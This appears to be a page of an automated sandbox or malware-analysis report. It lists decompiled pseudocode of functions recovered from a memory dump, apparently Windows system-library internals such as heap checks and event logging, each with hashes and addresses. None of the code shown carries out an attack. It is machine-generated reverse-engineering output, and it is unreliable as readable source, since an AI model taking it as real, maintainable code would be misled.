                                      • Instruction ID: 4a00db36649bb56590308306dffdbc256a7abe3b7a99d58a0b89704edc5573ac
                                      • Opcode Fuzzy Hash: a62e254a4bb7d5ca0d25183dd9ea365ba5a1a21e2ac9bde6d2a4536ccc2902d9
                                      • Instruction Fuzzy Hash: 2C111B74A00659DFDB04DFA8D541BAEFBF4FF08300F1442AAE918EB382E6349940CB94
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0366DB60(signed int __ecx) {
                                      				intOrPtr* _t9;
                                      				void* _t12;
                                      				void* _t13;
                                      				intOrPtr _t14;
                                      
                                      				_t9 = __ecx;
                                      				_t14 = 0;
                                      				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
                                      					_t13 = 0xc000000d;
                                      				} else {
                                      					_t14 = E0366DB40();
                                      					if(_t14 == 0) {
                                      						_t13 = 0xc0000017;
                                      					} else {
                                      						_t13 = E0366E7B0(__ecx, _t12, _t14, 0xfff);
                                      						if(_t13 < 0) {
                                      							L0366E8B0(__ecx, _t14, 0xfff);
                                      							L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
                                      							_t14 = 0;
                                      						} else {
                                      							_t13 = 0;
                                      							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
                                      						}
                                      					}
                                      				}
                                      				 *_t9 = _t14;
                                      				return _t13;
                                      			}







                                      0x0366db64
                                      0x0366db66
                                      0x0366db6b
                                      0x0366dbaa
                                      0x0366db71
                                      0x0366db76
                                      0x0366db7a
                                      0x0366dba3
                                      0x0366db7c
                                      0x0366db87
                                      0x0366db8b
                                      0x036c4fa1
                                      0x036c4fb3
                                      0x036c4fb8
                                      0x0366db91
                                      0x0366db96
                                      0x0366db98
                                      0x0366db98
                                      0x0366db8b
                                      0x0366db7a
                                      0x0366db9d
                                      0x0366dba2

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
                                      • Instruction ID: d4f7b3c559040ca6c66b0944f23ab3ead22c46e43db9ff593f1ee319a10864d4
                                      • Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
                                      • Instruction Fuzzy Hash: 46F0C8777016229BD332EA558984F27A6A5CFD2AE0F19003DF1059F348C960880286D4
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0366B1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
                                      				signed char* _t13;
                                      				intOrPtr _t22;
                                      				char _t23;
                                      
                                      				_t23 = __edx;
                                      				_t22 = __ecx;
                                      				if(E03687D50() != 0) {
                                      					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
                                      				} else {
                                      					_t13 = 0x7ffe0384;
                                      				}
                                      				if( *_t13 != 0) {
                                      					_t13 =  *[fs:0x30];
                                      					if((_t13[0x240] & 0x00000004) == 0) {
                                      						goto L3;
                                      					}
                                      					if(E03687D50() == 0) {
                                      						_t13 = 0x7ffe0385;
                                      					} else {
                                      						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
                                      					}
                                      					if(( *_t13 & 0x00000020) == 0) {
                                      						goto L3;
                                      					}
                                      					return E036E7016(0x14a4, _t22, _t23, _a4, _a8, 0);
                                      				} else {
                                      					L3:
                                      					return _t13;
                                      				}
                                      			}






                                      0x0366b1e8
                                      0x0366b1ea
                                      0x0366b1f3
                                      0x036c4a17
                                      0x0366b1f9
                                      0x0366b1f9
                                      0x0366b1f9
                                      0x0366b201
                                      0x036c4a21
                                      0x036c4a2e
                                      0x00000000
                                      0x00000000
                                      0x036c4a3b
                                      0x036c4a4d
                                      0x036c4a3d
                                      0x036c4a46
                                      0x036c4a46
                                      0x036c4a55
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0366b20a
                                      0x0366b20a
                                      0x0366b20a
                                      0x0366b20a

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
                                      • Instruction ID: e2a530a3f23bec7f0e5865879de87180269b420fa9807cfbcc31f87b0040d1d9
                                      • Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
                                      • Instruction Fuzzy Hash: 9B01AD32210680EBD323D79AC914B69BBDCEF81794F0C00A5E915CB7A1DAB8C800C258
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 46%
                                      			E036FFE87(intOrPtr __ecx) {
                                      				signed int _v8;
                                      				intOrPtr _v16;
                                      				intOrPtr _v20;
                                      				signed int _v24;
                                      				intOrPtr _v28;
                                      				short _v54;
                                      				char _v60;
                                      				signed char* _t21;
                                      				intOrPtr _t27;
                                      				intOrPtr _t32;
                                      				intOrPtr _t33;
                                      				intOrPtr _t34;
                                      				signed int _t35;
                                      
                                      				_v8 =  *0x375d360 ^ _t35;
                                      				_v16 = __ecx;
                                      				_v54 = 0x1722;
                                      				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
                                      				_v28 =  *((intOrPtr*)(__ecx + 4));
                                      				_v20 =  *((intOrPtr*)(__ecx + 0xc));
                                      				if(E03687D50() == 0) {
                                      					_t21 = 0x7ffe0382;
                                      				} else {
                                      					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
                                      				}
                                      				_push( &_v60);
                                      				_push(0x10);
                                      				_push(0x20402);
                                      				_push( *_t21 & 0x000000ff);
                                      				return E036AB640(E036A9AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
                                      			}
















                                      0x036ffe96
                                      0x036ffe9e
                                      0x036ffea1
                                      0x036ffead
                                      0x036ffeb3
                                      0x036ffeb9
                                      0x036ffec3
                                      0x036ffed5
                                      0x036ffec5
                                      0x036ffece
                                      0x036ffece
                                      0x036ffee0
                                      0x036ffee1
                                      0x036ffee3
                                      0x036ffee8
                                      0x036ffefb

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 9acc155da4579e06767c2b85d34b25e51b71500e5aae53bb741c1f869e4ff629
                                      • Instruction ID: f9a48d4918f4cec3ac196d8d635a264433dc104217d26b2ac9b547cb9cf033c5
                                      • Opcode Fuzzy Hash: 9acc155da4579e06767c2b85d34b25e51b71500e5aae53bb741c1f869e4ff629
                                      • Instruction Fuzzy Hash: E5011274A0074CEFCB14DFA8D545A6EB7F4EF08704F144199A915DF382D675D901CB54
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 48%
                                      			E03738F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
                                      				signed int _v8;
                                      				intOrPtr _v12;
                                      				intOrPtr _v16;
                                      				intOrPtr _v20;
                                      				intOrPtr _v24;
                                      				short _v50;
                                      				char _v56;
                                      				signed char* _t18;
                                      				intOrPtr _t24;
                                      				intOrPtr _t30;
                                      				intOrPtr _t31;
                                      				signed int _t32;
                                      
                                      				_t29 = __edx;
                                      				_v8 =  *0x375d360 ^ _t32;
                                      				_v16 = __ecx;
                                      				_v50 = 0x1c2c;
                                      				_v24 = _a4;
                                      				_v20 = _a8;
                                      				_v12 = __edx;
                                      				if(E03687D50() == 0) {
                                      					_t18 = 0x7ffe0386;
                                      				} else {
                                      					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
                                      				}
                                      				_push( &_v56);
                                      				_push(0x10);
                                      				_push(0x402);
                                      				_push( *_t18 & 0x000000ff);
                                      				return E036AB640(E036A9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
                                      			}















                                      0x03738f6a
                                      0x03738f79
                                      0x03738f81
                                      0x03738f84
                                      0x03738f8b
                                      0x03738f91
                                      0x03738f94
                                      0x03738f9e
                                      0x03738fb0
                                      0x03738fa0
                                      0x03738fa9
                                      0x03738fa9
                                      0x03738fbb
                                      0x03738fbc
                                      0x03738fbe
                                      0x03738fc3
                                      0x03738fd6

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 1ee5c31ed6d869c3f47e938310bdf011be9732a6ec1c74a0080a53077765f7b0
                                      • Instruction ID: c2256b0b4f1aecf690c03bbe95c0b9e35ff10358d96506fe0334eb6e3e3d572c
                                      • Opcode Fuzzy Hash: 1ee5c31ed6d869c3f47e938310bdf011be9732a6ec1c74a0080a53077765f7b0
                                      • Instruction Fuzzy Hash: F9014F74A0030DEFCB04EFA8D545AAEB7F4EF08300F10805AB905EB381EA74DA00CB99
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 48%
                                      			E0372131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
                                      				signed int _v8;
                                      				intOrPtr _v12;
                                      				intOrPtr _v16;
                                      				intOrPtr _v20;
                                      				intOrPtr _v24;
                                      				short _v50;
                                      				char _v56;
                                      				signed char* _t18;
                                      				intOrPtr _t24;
                                      				intOrPtr _t30;
                                      				intOrPtr _t31;
                                      				signed int _t32;
                                      
                                      				_t29 = __edx;
                                      				_v8 =  *0x375d360 ^ _t32;
                                      				_v20 = _a4;
                                      				_v12 = _a8;
                                      				_v24 = __ecx;
                                      				_v16 = __edx;
                                      				_v50 = 0x1021;
                                      				if(E03687D50() == 0) {
                                      					_t18 = 0x7ffe0380;
                                      				} else {
                                      					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
                                      				}
                                      				_push( &_v56);
                                      				_push(0x10);
                                      				_push(0x20402);
                                      				_push( *_t18 & 0x000000ff);
                                      				return E036AB640(E036A9AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
                                      			}















                                      0x0372131b
                                      0x0372132a
                                      0x03721330
                                      0x03721336
                                      0x0372133e
                                      0x03721341
                                      0x03721344
                                      0x0372134f
                                      0x03721361
                                      0x03721351
                                      0x0372135a
                                      0x0372135a
                                      0x0372136c
                                      0x0372136d
                                      0x0372136f
                                      0x03721374
                                      0x03721387

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 03437316df64bad1c05fa5fde1358d5df29d0d54a1f1df7fbdc0cea0fb550779
                                      • Instruction ID: 67a4c2889d6f5e1609483caca13ace0208dad821fd0570d32e5f5e78e68b81fe
                                      • Opcode Fuzzy Hash: 03437316df64bad1c05fa5fde1358d5df29d0d54a1f1df7fbdc0cea0fb550779
                                      • Instruction Fuzzy Hash: 52013C75A0175CAFCB04EFA9D545AAEBBF4FF08700F50805AB905EB381E6749A00CB98
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E0368C577(void* __ecx, char _a4) {
                                      				void* __esi;
                                      				void* __ebp;
                                      				void* _t17;
                                      				void* _t19;
                                      				void* _t20;
                                      				void* _t21;
                                      
                                      				_t18 = __ecx;
                                      				_t21 = __ecx;
                                      				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E0368C5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0x36411cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
                                      					__eflags = _a4;
                                      					if(__eflags != 0) {
                                      						L10:
                                      						E037388F5(_t17, _t18, _t19, _t20, _t21, __eflags);
                                      						L9:
                                      						return 0;
                                      					}
                                      					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
                                      					if(__eflags == 0) {
                                      						goto L10;
                                      					}
                                      					goto L9;
                                      				} else {
                                      					return 1;
                                      				}
                                      			}









                                      0x0368c577
                                      0x0368c57d
                                      0x0368c581
                                      0x0368c5b5
                                      0x0368c5b9
                                      0x0368c5ce
                                      0x0368c5ce
                                      0x0368c5ca
                                      0x00000000
                                      0x0368c5ca
                                      0x0368c5c4
                                      0x0368c5c8
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0368c5ad
                                      0x00000000
                                      0x0368c5af

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: b0e949d305c23d6523f0bdcd229401c8c671a24ffb4f717c6e87d87d3b38de5f
                                      • Instruction ID: 76b8d3fc51525a1196102b201b4242a41994e18cec7919e6b3b1173fad7c825a
                                      • Opcode Fuzzy Hash: b0e949d305c23d6523f0bdcd229401c8c671a24ffb4f717c6e87d87d3b38de5f
                                      • Instruction Fuzzy Hash: 9CF090B29176909EDF31E7148204B21FBD89B0D670F4886A6E40587701C7A4D8A0C273
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 54%
                                      			E036A927A(void* __ecx) {
                                      				signed int _t11;
                                      				void* _t14;
                                      
                                      				_t11 = L03684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
                                      				if(_t11 != 0) {
                                      					E036AFA60(_t11, 0, 0x98);
                                      					asm("movsd");
                                      					asm("movsd");
                                      					asm("movsd");
                                      					asm("movsd");
                                      					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
                                      					 *((intOrPtr*)(_t11 + 0x24)) = 1;
                                      					E036A92C6(_t11, _t14);
                                      				}
                                      				return _t11;
                                      			}





                                      0x036a9295
                                      0x036a9299
                                      0x036a929f
                                      0x036a92aa
                                      0x036a92ad
                                      0x036a92ae
                                      0x036a92af
                                      0x036a92b0
                                      0x036a92b4
                                      0x036a92bb
                                      0x036a92bb
                                      0x036a92c5

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
                                      • Instruction ID: 58560632675f1d48fe961950758e4261f0f413c767cfd996dc14ad9535a66d3e
                                      • Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
                                      • Instruction Fuzzy Hash: DBE0E532340A006BD751DE0ACC80B4376999F86720F04407CB5001E242CAE5DC088BA8
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 43%
                                      			E03738D34(intOrPtr __ecx, intOrPtr __edx) {
                                      				signed int _v8;
                                      				intOrPtr _v12;
                                      				intOrPtr _v16;
                                      				short _v42;
                                      				char _v48;
                                      				signed char* _t12;
                                      				intOrPtr _t18;
                                      				intOrPtr _t24;
                                      				intOrPtr _t25;
                                      				signed int _t26;
                                      
                                      				_t23 = __edx;
                                      				_v8 =  *0x375d360 ^ _t26;
                                      				_v16 = __ecx;
                                      				_v42 = 0x1c2b;
                                      				_v12 = __edx;
                                      				if(E03687D50() == 0) {
                                      					_t12 = 0x7ffe0386;
                                      				} else {
                                      					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
                                      				}
                                      				_push( &_v48);
                                      				_push(8);
                                      				_push(0x20402);
                                      				_push( *_t12 & 0x000000ff);
                                      				return E036AB640(E036A9AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
                                      			}













                                      0x03738d34
                                      0x03738d43
                                      0x03738d4b
                                      0x03738d4e
                                      0x03738d52
                                      0x03738d5c
                                      0x03738d6e
                                      0x03738d5e
                                      0x03738d67
                                      0x03738d67
                                      0x03738d79
                                      0x03738d7a
                                      0x03738d7c
                                      0x03738d81
                                      0x03738d94

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 8613e5b1c5cfd5125d0cba336d9aa767b5254778540cb906cc0107434e94526a
                                      • Instruction ID: 246959c6dc79b69b2e2beb2e8f1e2ab7707e40f8af47525daf9423c33905ce2b
                                      • Opcode Fuzzy Hash: 8613e5b1c5cfd5125d0cba336d9aa767b5254778540cb906cc0107434e94526a
                                      • Instruction Fuzzy Hash: 8AF0BE74A04B0CAFCB14EFB8D541A6EB7B4EF18300F508099F905EB281EA34D900CB58
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 94%
                                      			E03722073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
                                      				void* __esi;
                                      				signed char _t3;
                                      				signed char _t7;
                                      				void* _t19;
                                      
                                      				_t17 = __ecx;
                                      				_t3 = E0371FD22(__ecx);
                                      				_t19 =  *0x375849c - _t3; // 0x0
                                      				if(_t19 == 0) {
                                      					__eflags = _t17 -  *0x3758748; // 0x0
                                      					if(__eflags <= 0) {
                                      						E03721C06();
                                      						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
                                      						__eflags = _t3;
                                      						if(_t3 != 0) {
                                      							L5:
                                      							__eflags =  *0x3758724 & 0x00000004;
                                      							if(( *0x3758724 & 0x00000004) == 0) {
                                      								asm("int3");
                                      								return _t3;
                                      							}
                                      						} else {
                                      							_t3 =  *0x7ffe02d4 & 0x00000003;
                                      							__eflags = _t3 - 3;
                                      							if(_t3 == 3) {
                                      								goto L5;
                                      							}
                                      						}
                                      					}
                                      					return _t3;
                                      				} else {
                                      					_t7 =  *0x3758724; // 0x0
                                      					return E03718DF1(__ebx, 0xc0000374, 0x3755890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
                                      				}
                                      			}







                                      0x03722076
                                      0x03722078
                                      0x0372207d
                                      0x03722083
                                      0x037220a4
                                      0x037220aa
                                      0x037220ac
                                      0x037220b7
                                      0x037220ba
                                      0x037220bc
                                      0x037220c9
                                      0x037220c9
                                      0x037220d0
                                      0x037220d2
                                      0x00000000
                                      0x037220d2
                                      0x037220be
                                      0x037220c3
                                      0x037220c5
                                      0x037220c7
                                      0x00000000
                                      0x00000000
                                      0x037220c7
                                      0x037220bc
                                      0x037220d4
                                      0x03722085
                                      0x03722085
                                      0x037220a3
                                      0x037220a3

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 43ef6bc19db7d27bb7105c07be555e34bdfeecbcac0961f6b9438e40e3e389cd
                                      • Instruction ID: 2380852f507ad3b40ffcd2dcc24d3e42d08f8a134f5cbb45c9bc4d701441e0cd
                                      • Opcode Fuzzy Hash: 43ef6bc19db7d27bb7105c07be555e34bdfeecbcac0961f6b9438e40e3e389cd
                                      • Instruction Fuzzy Hash: F4F0202B9113BC5BDFBAFB2820053E12F94D746110B0D4C89E8902F20AC6B9C883CA22
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 36%
                                      			E03738B58(intOrPtr __ecx) {
                                      				signed int _v8;
                                      				intOrPtr _v20;
                                      				short _v46;
                                      				char _v52;
                                      				signed char* _t11;
                                      				intOrPtr _t17;
                                      				intOrPtr _t22;
                                      				intOrPtr _t23;
                                      				intOrPtr _t24;
                                      				signed int _t25;
                                      
                                      				_v8 =  *0x375d360 ^ _t25;
                                      				_v20 = __ecx;
                                      				_v46 = 0x1c26;
                                      				if(E03687D50() == 0) {
                                      					_t11 = 0x7ffe0386;
                                      				} else {
                                      					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
                                      				}
                                      				_push( &_v52);
                                      				_push(4);
                                      				_push(0x402);
                                      				_push( *_t11 & 0x000000ff);
                                      				return E036AB640(E036A9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
                                      			}













                                      0x03738b67
                                      0x03738b6f
                                      0x03738b72
                                      0x03738b7d
                                      0x03738b8f
                                      0x03738b7f
                                      0x03738b88
                                      0x03738b88
                                      0x03738b9a
                                      0x03738b9b
                                      0x03738b9d
                                      0x03738ba2
                                      0x03738bb5

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 9a5c9049ab5e0324e91e21428d2d2794e780be647dc042b33c41235e05d97489
                                      • Instruction ID: 06b0e9f37277c3bd133a45760c9f9c6f7d2c401be9bae9be7d7cf2a94b2db4c6
                                      • Opcode Fuzzy Hash: 9a5c9049ab5e0324e91e21428d2d2794e780be647dc042b33c41235e05d97489
                                      • Instruction Fuzzy Hash: 69F082B4A04759ABDB14EBA8D906E6EB3B4EF08300F14049DBA15DF381EA74D900CB99
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 100%
                                      			E03664F2E(void* __ecx, char _a4) {
                                      				void* __esi;
                                      				void* __ebp;
                                      				void* _t17;
                                      				void* _t19;
                                      				void* _t20;
                                      				void* _t21;
                                      
                                      				_t18 = __ecx;
                                      				_t21 = __ecx;
                                      				if(__ecx == 0) {
                                      					L6:
                                      					__eflags = _a4;
                                      					if(__eflags != 0) {
                                      						L8:
                                      						E037388F5(_t17, _t18, _t19, _t20, _t21, __eflags);
                                      						L9:
                                      						return 0;
                                      					}
                                      					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
                                      					if(__eflags != 0) {
                                      						goto L9;
                                      					}
                                      					goto L8;
                                      				}
                                      				_t18 = __ecx + 0x30;
                                      				if(E0368C5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0x3641030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
                                      					goto L6;
                                      				} else {
                                      					return 1;
                                      				}
                                      			}









                                      0x03664f2e
                                      0x03664f34
                                      0x03664f38
                                      0x036c0b85
                                      0x036c0b85
                                      0x036c0b89
                                      0x036c0b9a
                                      0x036c0b9a
                                      0x036c0b9f
                                      0x00000000
                                      0x036c0b9f
                                      0x036c0b94
                                      0x036c0b98
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036c0b98
                                      0x03664f3e
                                      0x03664f48
                                      0x00000000
                                      0x03664f6e
                                      0x00000000
                                      0x03664f70

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: e90cf14f9b53bcaa45b7c95eaeb6cbfb92f9b839108d279bcb6bc9ff0abcaec7
                                      • Instruction ID: ae6b2e3112e8a719d3609f82eebcc698ee23127c5c774a79082303425161d123
                                      • Opcode Fuzzy Hash: e90cf14f9b53bcaa45b7c95eaeb6cbfb92f9b839108d279bcb6bc9ff0abcaec7
                                      • Instruction Fuzzy Hash: 90F0BE369366D5DFD761D718C344B32B7F8EB056BCF0846AAD4058BA21CB35E884C640
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 88%
                                      			E0368746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
                                      				signed int _t8;
                                      				void* _t10;
                                      				short* _t17;
                                      				void* _t19;
                                      				intOrPtr _t20;
                                      				void* _t21;
                                      
                                      				_t20 = __esi;
                                      				_t19 = __edi;
                                      				_t17 = __ebx;
                                      				if( *((char*)(_t21 - 0x25)) != 0) {
                                      					if(__ecx == 0) {
                                      						E0367EB70(__ecx, 0x37579a0);
                                      					} else {
                                      						asm("lock xadd [ecx], eax");
                                      						if((_t8 | 0xffffffff) == 0) {
                                      							_push( *((intOrPtr*)(__ecx + 4)));
                                      							E036A95D0();
                                      							L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
                                      							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
                                      							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
                                      						}
                                      					}
                                      					L10:
                                      				}
                                      				_t10 = _t19 + _t19;
                                      				if(_t20 >= _t10) {
                                      					if(_t19 != 0) {
                                      						 *_t17 = 0;
                                      						return 0;
                                      					}
                                      				}
                                      				return _t10;
                                      				goto L10;
                                      			}









                                      0x0368746d
                                      0x0368746d
                                      0x0368746d
                                      0x03687471
                                      0x03687488
                                      0x036cf92d
                                      0x0368748e
                                      0x03687491
                                      0x03687495
                                      0x036cf937
                                      0x036cf93a
                                      0x036cf94e
                                      0x036cf953
                                      0x036cf956
                                      0x036cf956
                                      0x03687495
                                      0x00000000
                                      0x03687488
                                      0x03687473
                                      0x03687478
                                      0x0368747d
                                      0x03687481
                                      0x00000000
                                      0x03687481
                                      0x0368747d
                                      0x0368747a
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: d19f829fd49522501427ed859a9bf3f45bc2512d492e0244ab05d0af634a1dff
                                      • Instruction ID: ea7e74b98539c8c255860f8046fcc7a8029470921bdd4f15ad2dcba8a8a60453
                                      • Opcode Fuzzy Hash: d19f829fd49522501427ed859a9bf3f45bc2512d492e0244ab05d0af634a1dff
                                      • Instruction Fuzzy Hash: A2F0E93490028CAACF01F76CC940B79BFB1AF0C394F284359D8E5AF250E7659801C7A9
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 36%
                                      			E03738CD6(intOrPtr __ecx) {
                                      				signed int _v8;
                                      				intOrPtr _v12;
                                      				short _v38;
                                      				char _v44;
                                      				signed char* _t11;
                                      				intOrPtr _t17;
                                      				intOrPtr _t22;
                                      				intOrPtr _t23;
                                      				intOrPtr _t24;
                                      				signed int _t25;
                                      
                                      				_v8 =  *0x375d360 ^ _t25;
                                      				_v12 = __ecx;
                                      				_v38 = 0x1c2d;
                                      				if(E03687D50() == 0) {
                                      					_t11 = 0x7ffe0386;
                                      				} else {
                                      					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
                                      				}
                                      				_push( &_v44);
                                      				_push(0xffffffe4);
                                      				_push(0x402);
                                      				_push( *_t11 & 0x000000ff);
                                      				return E036AB640(E036A9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
                                      			}













                                      0x03738ce5
                                      0x03738ced
                                      0x03738cf0
                                      0x03738cfb
                                      0x03738d0d
                                      0x03738cfd
                                      0x03738d06
                                      0x03738d06
                                      0x03738d18
                                      0x03738d19
                                      0x03738d1b
                                      0x03738d20
                                      0x03738d33

